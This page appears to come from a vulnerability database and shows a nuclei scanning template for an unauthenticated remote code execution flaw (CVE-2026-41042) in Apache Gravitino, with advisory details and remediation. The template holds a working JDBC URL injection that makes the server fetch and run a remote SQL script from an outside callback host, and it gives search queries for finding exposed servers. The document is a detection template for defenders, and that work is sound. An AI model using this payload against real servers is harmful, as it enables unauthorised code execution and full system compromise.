Lucene search
+L

Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution

🗓️ 09 Sep 2026 02:52:56Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Unauthenticated RCE in Apache Gravitino <1.2.1 via unsanitized H2 JDBC INIT parameter in testConnection API.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-41042
8 Jul 202611:38
attackerkb
circl
Circl
CVE-2026-41042
8 Jul 202616:20
circl
cve
CVE
CVE-2026-41042
8 Jul 202611:38
cve
cvelist
Cvelist
CVE-2026-41042 Apache Gravitino: Unauthenticated callers can supply a malicious H2 JDBC URL through the testConnection API, which executes arbitrary Java code on the server via H2's INIT parameter
8 Jul 202611:38
cvelist
githubexploit
GithubExploit
Exploit for CVE-2026-41042
17 Aug 202611:15
githubexploit
euvd
EUVD
EUVD-2026-42221
8 Jul 202611:38
euvd
kitploit
Kitploit
cve-2026-41042
8 Sep 202602:44
kitploit
nvd
NVD
CVE-2026-41042
8 Jul 202612:17
nvd
ptsecurity
Positive Technologies
PT-2026-56399
8 Jul 202600:00
ptsecurity
snyk
Snyk
Arbitrary Code Injection
8 Jul 202614:38
snyk
Rows per page
id: CVE-2026-41042

info:
  name: Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution
  author: buzhimingdeaikun
  severity: critical
  description: |
    Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.
  impact: |
    Unauthenticated attackers can execute arbitrary Java code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.1 or later.
  reference:
    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj
    - https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41042
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-41042
    epss-score: 0.01512
    epss-percentile: 0.72814
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: gravitino
    shodan-query: title:"Gravitino"
    fofa-query: title="Gravitino"
  tags: cve,cve2026,apache,gravitino,rce,unauth,oast,h2,jdbc

variables:
  ml_name: "{{rand_base(6)}}"
  db_name: "{{rand_base(8)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/metalakes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{ml_name}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        POST /api/metalakes/{{ml_name}}/catalogs/testConnection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/vnd.gravitino.v1+json

        {"name":"h2rce","type":"RELATIONAL","provider":"jdbc-mysql","properties":{"jdbc-url":"jdbc:h2:mem:{{db_name}};INIT=RUNSCRIPT FROM 'http://{{interactsh-url}}/{{filename}}.sql'","jdbc-user":"sa","jdbc-password":"","jdbc-driver":"org.h2.Driver"}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "http")
          - contains(interactsh_request, "/{{filename}}.sql")
          - status_code == 500
        condition: and
# digest: 4b0a00483046022100ec2af777a6d20376254c74de620b924ee4fbd77b9934964a3c5aaf4e12fd250b022100f8cb4f7984975b82ccba7d25b752e09bc9b9ae996ec784aa900de075604eab61:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Aug 2026 09:59Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.1
EPSS0.01512
SSVC
12